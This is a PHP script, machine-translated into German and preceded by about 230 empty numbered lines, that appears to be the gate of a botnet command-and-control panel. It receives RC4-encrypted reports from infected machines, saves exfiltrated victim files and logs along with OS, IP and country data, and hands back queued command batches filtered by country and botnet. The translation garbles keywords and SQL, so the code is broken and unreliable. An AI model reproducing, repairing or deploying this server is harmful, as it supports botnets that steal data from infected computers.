1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
6:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:
180:
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
199:
200:
201:
202:
203:
204:
205:
206:
207:
208:
209:
210:
211:
212:
213:
214:
215:
216:
217:
218:
219:
220:
221:
222:
223:
224:
225:
226:
227:
228:
229:
230:
231:
|
PHP
/*********************/
/* *
/* Version: 5.1.0 *
/* Autor: RM *
/* Anmerkung: 071223 *
/* *
/*********************/
Funktion sendemptyreply ()
{
$reply_data = Satz („LLL“, HEADER_SIZE + ITEM_HEADER_SIZE, 0, 1). „J ¿ \ x136 ¿ K ¿ ¿ y ¿ u.#H \ x18 ¿ \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00“;
Echo rc4 ($reply_data, BIN_CRYPTKEY);
Ausgang ();
}
Funktion getcountryipv4 ()
{
globales $real_ipv4;
$ip = sprintf („%u“, ip2long ($real_ipv4));
wenn (($r = @mysql_query („c VON ipv4toc VORWÄHLEN IN DEM l<='".$ip. „„UND h>=““. $ip. „'BEGRENZUNG 1“)) && ($m = mysql_fetch_row ($r))! == falsch)
{
Rückhol$m [0];
}
zurückgehen „--“;
}
Funktion touint ($str)
{
$q = @unpack („L“, $str);
wenn (is_array ($q) && is_numeric ($q [1]))
{
Rückhol$q [1];
}
Rückkehr 0;
}
Funktion toint ($str)
{
$q = @unpack („L“, $str);
wenn (is_array ($q) && is_numeric ($q [1]))
{
Rückhol$q [1];
}
Rückkehr 0;
}
Funktion toushort ($str)
{
$q = @unpack („S“, $str);
wenn (is_array ($q) && is_numeric ($q [1]))
{
Rückhol$q [1];
}
Rückkehr 0;
}
definieren („__REPORT“, „1“);
wenn ($_SERVER [„REQUEST_METHOD“]! == „PFOSTEN“)
{
Ausgang ();
}
require_once („System/global.php“);
require_once („System/config.php“);
$data = @file_get_contents („PHP: //input“);
$data_size = @strlen ($data);
wenn ($data_size < HEADER_SIZE + ITEM_HEADER_SIZE)
{
Ausgang ();
}
$data = rc4 ($data, BIN_CRYPTKEY);
wenn (strcmp (md5 (substr ($data, HEADER_SIZE), richten) aus, substr ($data, HEADER_MD5, 16))! == 0)
{
Ausgang ();
}
$list = Reihe ();
$i = HEADER_SIZE;
während ($i < $data_size)
{
$k = @unpack („L4“, @substr ($data, $i, ITEM_HEADER_SIZE));
$list [$k [1]] = @substr ($data, $i + ITEM_HEADER_SIZE, $k [3]);
$i += ITEM_HEADER_SIZE + $k [3];
}
unset ($data);
wenn (leeren ($list [SBCID_BIN_VERSION]) || leeren ($list [SBCID_BIN_ID]))
{
Ausgang ();
}
wenn (! connecttodb ())
{
Ausgang ();
}
$bin_id = Ordnung ($list [SBCID_BIN_ID]);
$bin_id_q = addslashes ($bin_id);
$binnet = leeren sich ($list [SBCID_BINNET])? DEFAULT_BINNET: Ordnung ($list [SBCID_BINNET]);
$binnet_q = addslashes ($binnet);
$bin_version = touint ($list [SBCID_BIN_VERSION]);
$real_ipv4 = Ordnung (! leeren ($_GET [„IP“])? $_GET [„IP“]: $_SERVER [„REMOTE_ADDR“]);
$country = getcountryipv4 ();
$country_q = addslashes ($country);
$curtime = Zeit ();
$rtime_min_online = $curtime - BIN_TIMEOUT * 60;
wenn (! leeren ($list [SBCID_BATCH_STATUS]))
{
tun
{
mysql_query („UPDATE bincmdbatches STELLTEN complete=complete+1, complete_BINs=CONCAT ein (complete_BINs, „\ \ 0“. $bin_id_q. “ \ \ 0“) WO batch_id='".toint ($list [SBCID_BATCH_STATUS]). “ 'BEGRENZUNG 1 ");
file_put_contents („2“, mysql_error ());
sendemptyreply ();
}
sonst
{
wenn (! leeren ($list [SBCID_BINLOG]) || ! leeren ($list [SBCID_BINLOG_TYPE]))
{
$type = touint ($list [SBCID_BINLOG_TYPE]);
wenn ($type == BLT_FILE)
{
$bad_exts = Reihe („PHP“, „Asp“, „exe“, „pl“, „cgi“, „cmd“, „Hieb“);
$fd_hash = md5 ($list [SBCID_BINLOG]);
$file_path = str_replace („\ \“, „/“, „/“. $BINnet. „/“. $BIN_id. „/“. (leeren ($list [SBCID_PATH_DEST])? „Unbekanntes“: $list [SBCID_PATH_DEST]));
wenn (strpos ($file_path, „/. .") === falsch)
{
$file_path = REPORTS_PATH. „/files/“. $file_path;
$inf = pathinfo ($file_path);
wenn (leeren ($inf [„Verlängerung“]))
{
$inf [„Verlängerung“] = „dat“;
}
$file_path = $inf [„dirname“]. “/„.basename ($inf [„basename“],“. „. $inf [„Verlängerung“]). „*.“. $inf [„Verlängerung“];
wenn (array_search (strtolower ($inf [„Verlängerung“]), $bad_exts)! == falsch)
{
$file_path. = „.dat“;
}
$i = 0;
für (; $i < 9999; ++$i)
{
$f = str_replace („*“, $i == 0? "": “ [„. $i.“] „, $file_path);
wenn (file_exists ($f))
{
wenn (($fd_size = filesize ($f)), && strcmp (md5_file ($f), $fd_hash) === 0)
{
Bruch;
wenn (md5_file ($f))
{
Bruch;
}
}
sonst
{
wenn (createdir ($inf [„dirname“]))
{
}
wenn (! ($h = fopen ($f, „WB“)))
{
Ausgang ();
}
Menge ($h, LOCK_EX);
fwrite ($h, $list [SBCID_BINLOG]);
Menge ($h, LOCK_UN);
fclose ($h);
}
Bruch;
}
}
}
sonst wenn (REPORTS_TO_DB == 1)
{
$table = „reports_“ .gmdate („ymd“, $curtime);
$QUERY = „EINSATZ VERZÖGERTE IN“. $table. „BIN_id='".$bin_id_q EINSTELLEN. „„, BINnet=““. $BINnet_q. „„, BIN_version=““. $BIN_version. „„, path_source=““. (leeren ($list [SBCID_PATH_SOURCE])? "": addslashes ($list [SBCID_PATH_SOURCE])). „„, path_dest=““. (leeren ($list [SBCID_PATH_DEST])? "": addslashes ($list [SBCID_PATH_DEST])). „„, time_system=““. (leeren ($list [SBCID_TIME_SYSTEM])? 0: toint ($list [SBCID_TIME_SYSTEM])). „„, time_tick=““. (leeren ($list [SBCID_TIME_TICK])? 0: toint ($list [SBCID_TIME_TICK])). „„, time_localbias=““. (leeren ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). „„, os_version=““. (leeren ($list [SBCID_OS_INFO])? "": addslashes ($list [SBCID_OS_INFO])). „„, language_id=““. (leeren ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). „„, process_name=““. (leeren ($list [SBCID_PROCESS_NAME])? "": addslashes ($list [SBCID_PROCESS_NAME])). „„, type=““. $type. „„, ipv4=““ .addslashes ($real_ipv4). „„, country=““. $country_q. „„, rtime=““. $curtime. „„, context=““ .addslashes ($list [SBCID_BINLOG]). „'“;
wenn (@! mysql_query ($query) || @ (! mysql_query („TABELLE HERSTELLEN, WENN NICHT EXISTIERT“. $table. „WIE Reports“) &&! @mysql_query ($query)))
{
Ausgang ();
}
}
sonst wenn (REPORTS_TO_FS == 1)
{
$file_path = str_replace („\ \“, „/“, „/“. $BINnet. „/“. $real_ipv4);
wenn (! (strpos ($file_path, „/. .") === falsch))
{
Bruch;
}
$file_path = REPORTS_PATH. „/logs/“. $file_path;
wenn (createdir ($file_path))
{
}
wenn (! ($h = fopen ($file_path. „/“. $BIN_id, „WB“)))
{
Ausgang ();
}
Menge ($h, LOCK_EX);
fwrite ($h, „bin_id=“. $bin_id. “ \ r \ nbinnet= ". $binnet. „\ r \ ntime_system=“. (leeren ($list [SBCID_TIME_SYSTEM])? 0: ftime („H: I: s d.m.Y“, toint ($list [SBCID_TIME_SYSTEM]))). “ \ r \ ntime_tick= ". (leeren ($list [SBCID_TIME_TICK])? 0: toint ($list [SBCID_TIME_TICK])). „\ r \ ntime_localbias=“. (leeren ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). “ \ r \ nlanguage_id= ". (leeren ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). „\ r \ nprocess_name=“. (leeren ($list [SBCID_PROCESS_NAME])? "": $list [SBCID_PROCESS_NAME]). “ \ r \ ntype= ". $type. „\ r \ nipv4=“. $real_ipv4. “ \ r \ ncountry= ". $country. „\ r \ nrtime=“ .ftime („H: I: s d.m.Y“, $curtime). “ \ r \ ncontext= ". $list [SBCID_BINLOG]. „\ r \ n \ r \ n \ r \ n“);
Menge ($h, LOCK_UN);
fclose ($h);
}
}
sonst wenn (! leeren ($list [SBCID_BIN_STATUS]))
{
$query = „BIN_id='".$bin_id_q. „„, BINnet=““. $BINnet_q. „„, BIN_version=““. $BIN_version. „„, net_latency=““. (leeren ($list [SBCID_NET_LATENCY])? 0: touint ($list [SBCID_NET_LATENCY])). „„, port_s1=““. (leeren ($list [SBCID_PORT_S1])? 0: toushort ($list [SBCID_PORT_S1])). „„, time_localbias=““. (leeren ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). „„, os_version=““. (leeren ($list [SBCID_OS_INFO])? "": addslashes ($list [SBCID_OS_INFO])). „„, language_id=““. (leeren ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). „„, ipv4=““ .addslashes ($real_ipv4). „„, country=““. $country_q. „„, rtime_last=““. $curtime. „'“;
wenn (mysql_query („EINSATZ IN BINlist GESETZTES rtime_first='".$curtime. „„, rtime_online=“ {$curtime} „, flag_install=““. (touint ($list [SBCID_BIN_STATUS]) == BS_INSTALLED? 1: 0). „„,“. $query. („AUF DOPPELTER SCHLÜSSEL-UPDATE rtime_online=IF (rtime_last <=“ „. $rtime_min_online. “ „,“ {$curtime} ', rtime_online), {$query} ")))
{
Bruch;
}
Ausgang ();
}
sonst
{
Ausgang ();
}
} während (0);
}
$reply_data = "";
$reply_count = 0;
$BIN_id_q = tosqlsafemask ($BIN_id_q);
$BINnet_q = tosqlsafemask ($BINnet_q);
$country_q = tosqlsafemask ($country_q);
$r = @mysql_query („AUSERWÄHLTE Identifikation, batch_id, batch_text VON BINcmdbatches WO flag_disabled=0 UND (send_limit=0 ODER sended < send_limit) UND“. („(complete_BINs NICHT MÖGEN „% \ \ 0“. $BIN_id_q. “ \ \ 0%“) UND "). (“ (countries_wl= '' ODER countries_wl MÖGEN BINÄRE „% \ \ 0 ". $country_q. „\ \ 0%“) UND "). („(countries_bl NICHT MÖGEN BINÄRE „% \ \ 0“. $country_q. “ \ \ 0%“) UND "). (“ (binnets_wl= '' ODER binnets_wl MÖGEN BINÄRE „% \ \ 0 ". $BINnet_q. „\ \ 0%“) UND "). („(binnets_bl NICHT MÖGEN BINÄRE „% \ \ 0“. $BINnet_q. “ \ \ 0%“) UND "). (“ (BINs_wl= '' ODER BINs_wl MÖGEN BINÄRE „% \ \ 0 ". $BIN_id_q. „\ \ 0%“) "). „BEGRENZUNG 10“);
während ($r && ($m = mysql_fetch_row ($r)))
{
$size = strlen ($m [2]);
$reply_data. = Satz („LLLL“, $m [1], 0, $size, $size). $m [2];
++$reply_count;
@mysql_query („UPDATE bincmdbatches STELLTEN sended=sended+1 WO id='".$m ein [0]. „'BEGRENZUNG 1“);
}
wenn (0 < $reply_count)
{
$reply_data = Satz („LLL“, HEADER_SIZE + strlen ($reply_data), 0, $reply_count), .md5 ($reply_data, zutreffend). $reply_data;
Echo rc4 ($reply_data, BIN_CRYPTKEY);
Ausgang ();
}
sendemptyreply ();
? >
|